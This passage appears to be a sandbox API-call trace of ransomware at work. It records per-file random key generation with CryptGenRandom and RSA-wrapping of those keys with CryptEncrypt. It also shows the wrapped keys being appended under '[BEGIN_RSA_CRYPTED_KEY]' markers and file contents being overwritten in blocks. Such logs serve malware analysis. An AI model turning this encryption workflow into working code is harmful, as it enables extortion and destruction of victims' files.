hFile=0xe84, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.383] SetFilePointer (in: hFile=0xe84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0198.383] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.383] WriteFile (in: hFile=0xe84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.384] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.384] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.384] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.384] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="PRH7gq/crb+hOz4XBdqhXAF9x5wtC0VvuzsiFnS3/0hHZ7MYCwaPU2zPJw3zPCmW\nTucaOM9wh/PW4swsuRXwLKMsHlTVsvreyd1K37lL0uzhRpA6+ysUT5puAXmdO43Q\nWhz7t6avX4R4xUU3gAE8Cc+J8A/VpGe8VbjP/5+phIgJJow9gok01Z3v4f+ZJ6v8\nT8a2tcKWqSHYFmZWRa9rkBOeN7/5FyKz/Ph02lGZk4xnbyQbHSN+T2C4V5CMbL1A\nZzA30v8X+x3ip6drMFmcl4+iyGxlbI6Z4oI9rwkvhD/kzYy8D6dPr3ngA0Zp3ED4\nY6RUDO6pPD5+lJsBngaCAQ==\n", pcchString=0x2e3f9a8) returned 1 [0198.384] WriteFile (in: hFile=0xe84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.384] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.384] WriteFile (in: hFile=0xe84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.384] CloseHandle (hObject=0xe84) returned 1 [0198.386] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.386] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0198.386] ReadFile (in: hFile=0xe84, lpBuffer=0x59d380, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d380*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.386] SetFilePointer (in: hFile=0xe84, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.386] WriteFile (in: hFile=0xe84, lpBuffer=0x59d350*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d350*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.386] SetFilePointer (in: hFile=0xe84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0198.386] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.386] WriteFile (in: hFile=0xe84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.387] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.387] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.388] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.388] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="h5nD1dyYQqpoDDddOWMGqe2xMsZAxX21uRLC8PLHihNgv8XjQOky+B0D2oLwAnlQ\nD4fprIrbX8a1pu4m/xtUFkHx7ptTgWTvCV9CfTLSba5C4r7ja3QEZ8nQh5KDVs2m\nDSIo+S39YqxkBFI9tEAZ9DrMUcKR/S5ZCGw7BrzE0dHUPqtfuO8U1ThMp0suE8iv\nQIM1FkK1oS7Q0GHl8aHdi1bKtrTSCktCTVGleEfXLISarzV3ocVy1JDc06NaF4oO\nM/tuSDjeI0NZysdKZ9qGsnImLQy+DhRhFEG7rbiUIgV3JUpVtgzTq3lH5QzTLqRk\nFFCV+9UcSYm7Gg/TWZt2sQ==\n", pcchString=0x2e3f9a8) returned 1 [0198.388] WriteFile (in: hFile=0xe84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.388] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.388] WriteFile (in: hFile=0xe84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.388] CloseHandle (hObject=0xe84) returned 1 [0198.390] WriteFile (in: hFile=0xe8c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.391] CloseHandle (hObject=0xe8c) returned 1 [0198.391] WriteFile (in: hFile=0xe8c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.392] CloseHandle (hObject=0xe8c) returned 1 [0198.393] WriteFile (in: hFile=0xe8c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.394] CloseHandle (hObject=0xe8c) returned 1 [0198.410] WriteFile (in: hFile=0xe90, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.411] CloseHandle (hObject=0xe90) returned 1 [0198.411] WriteFile (in: hFile=0xe90, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.413] CloseHandle (hObject=0xe90) returned 1 [0198.413] WriteFile (in: hFile=0xe90, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.414] CloseHandle (hObject=0xe90) returned 1 [0198.417] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.417] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0198.418] ReadFile (in: hFile=0xea4, lpBuffer=0x59d200, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d200*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.418] SetFilePointer (in: hFile=0xea4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.419] WriteFile (in: hFile=0xea4, lpBuffer=0x59d270*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d270*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.419] SetFilePointer (in: hFile=0xea4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0198.419] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.419] WriteFile (in: hFile=0xea4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.420] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.420] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.420] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.420] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lM3LvSKRnIh3M31zjczwZUgJM6QPCDP8xvQjXTMe585M4N/LoRB0yjH8rY5XiUD+\nVL+ZNuiwJ6VPcubNiEEUUw7CK6IUm5AHjSWgiaWOQNc+ENzYyf1BTRWxK6bC93If\nW6LPrAqsYlRJACYx49VbAU/3+3Spi6KrI2hH7NVSd4RPnXfh8qarPxoyg1RRkHxs\nsL807Qnq6pKQjztzsGUXEOp0Mwc8QGLS5RxYawQYLWQzeiIGDCiroV2DtZizLK9o\nNinrAD9SYC5nCKk+Cje7qpnwkl/asWfGaAKwY2pkoO6TOk2u58CqJxli+DEUZGUM\n9t9BQSSt+uJ1ZtWE+YR8Ew==\n", pcchString=0x2e3f9a8) returned 1 [0198.420] WriteFile (in: hFile=0xea4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.421] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.421] WriteFile (in: hFile=0xea4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.421] CloseHandle (hObject=0xea4) returned 1 [0198.425] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.425] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0198.425] ReadFile (in: hFile=0xea4, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.496] SetFilePointer (in: hFile=0xea4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.496] WriteFile (in: hFile=0xea4, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.496] SetFilePointer (in: hFile=0xea4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0198.496] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.496] WriteFile (in: hFile=0xea4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.497] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.497] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.497] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.497] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="NH2kVNiRuONdUSdvRb1omYFz91VlkG/BHRbGYYObNw6+E1TGTpBhy326O3+WCa+E\n6XRN7/Mj+TJ1hXts+SPMKQAbar0lWdVqsfcALIuqrDEHUoLBfhn0zlqhEZ2z+2eM\nLct0dbJpc7Zet3iHZ6XZl99SOd+SIks85QLNOQXC+Mb56pNxgqgXEpvTgAcS9AvA\nRSGUQ3nWSx5727jxUyHYtsMiY/6CA6UpToX9hBuaFCqVMJb1Yrcr/Rur4K6b3LIV\nURh5vlZb3lZMq4mcXasp73iQKrJkgG//GqaxBoZKsrcihQ6gfnOQAXIyqr4hiV7l\nQ8a2WPx9VVg7776AUDkAFA==\n", pcchString=0x2e3f9a8) returned 1 [0198.497] WriteFile (in: hFile=0xea4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.497] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.498] WriteFile (in: hFile=0xea4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.498] CloseHandle (hObject=0xea4) returned 1 [0198.499] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.499] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0198.551] ReadFile (in: hFile=0xea4, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.553] SetFilePointer (in: hFile=0xea4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.553] WriteFile (in: hFile=0xea4, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.553] SetFilePointer (in: hFile=0xea4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0198.553] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.553] WriteFile (in: hFile=0xea4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.554] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.554] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.554] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.554] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="bfsMnzTAyiWDBSzQ+K+1ptcwd+rvrCnlau026xl4V3n2B3og7g+VL+P7jX8ab077\nTIc6W55EIIQW/JukRgSzh5twctVcQ/VLyggYw2mm690a5RUS1zuisWx6YP3QvsKB\n+WdFkBM5sVvWFeI0ZXwjEMtKQWnhtVSsnwsOZhzbfYPH3L3zkpY6ITsLI+fuTxSi\nfvQxHmH0ncIqsLzFJJmvTw5ZUWtuK/0yYADRkdMvVhpcc35Lw5F/z2wuE5eX4LBV\naT09U1SRmT65WXcjkKAOIcXz0t2Y1/D8eLCGHBFiRNoEkcQcZ7p+8EnzGej0jA4p\nrIJI+vE0X3fNoNQhxcihqg==\n", pcchString=0x2e3f9a8) returned 1 [0198.554] WriteFile (in: hFile=0xea4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.554] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.554] WriteFile (in: hFile=0xea4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.555] CloseHandle (hObject=0xea4) returned 1 [0198.556] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.556] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0198.556] ReadFile (in: hFile=0xea4, lpBuffer=0x59d320, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.556] SetFilePointer (in: hFile=0xea4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.556] WriteFile (in: hFile=0xea4, lpBuffer=0x59d1d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.557] SetFilePointer (in: hFile=0xea4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0198.557] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.557] WriteFile (in: hFile=0xea4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.558] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.558] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.558] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.558] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rBI3WN4MJ5PG0dEdorNnc1S0B9gbQBsXK+26oxAwML7Xci2J67Aik6tI9GbPJ2Rs\nev6yUU1XqC0kXSA0bXJmMlnSplPV8+qB5bKxggBodNikFb1akt+Gz4zLKge0g9Hf\ndPsKKMHBC5idQ328LvOOcHA65vKgcN/4JLAo5oUZYOmAg/Ys81CJ/xmR4JwH/GJa\n/gRZ/WCBCLXdRsn3jSXu9YraSQFMGiLMSQKaq51CNyPDCrymgoZK0y/kofJ4K5I5\ni3+HjpBVgaAZx0Qf3lX7RfqkQYqHVKagavhdtIurNaaaH7Cn1fSbijHokvP6Cej3\n0rRFzYIl4BVYP0WCf08bQA==\n", pcchString=0x2e3f9a8) returned 1 [0198.558] WriteFile (in: hFile=0xea4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.558] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.558] WriteFile (in: hFile=0xea4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.559] CloseHandle (hObject=0xea4) returned 1 [0198.561] WriteFile (in: hFile=0xeac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.562] CloseHandle (hObject=0xeac) returned 1 [0198.562] WriteFile (in: hFile=0xeac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.564] CloseHandle (hObject=0xeac) returned 1 [0198.564] WriteFile (in: hFile=0xeac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.565] CloseHandle (hObject=0xeac) returned 1 [0198.576] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.576] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0198.577] ReadFile (in: hFile=0xec0, lpBuffer=0x59d2d0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.577] SetFilePointer (in: hFile=0xec0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.577] WriteFile (in: hFile=0xec0, lpBuffer=0x59d1c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.577] SetFilePointer (in: hFile=0xec0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0198.577] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.577] WriteFile (in: hFile=0xec0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.578] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.578] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, 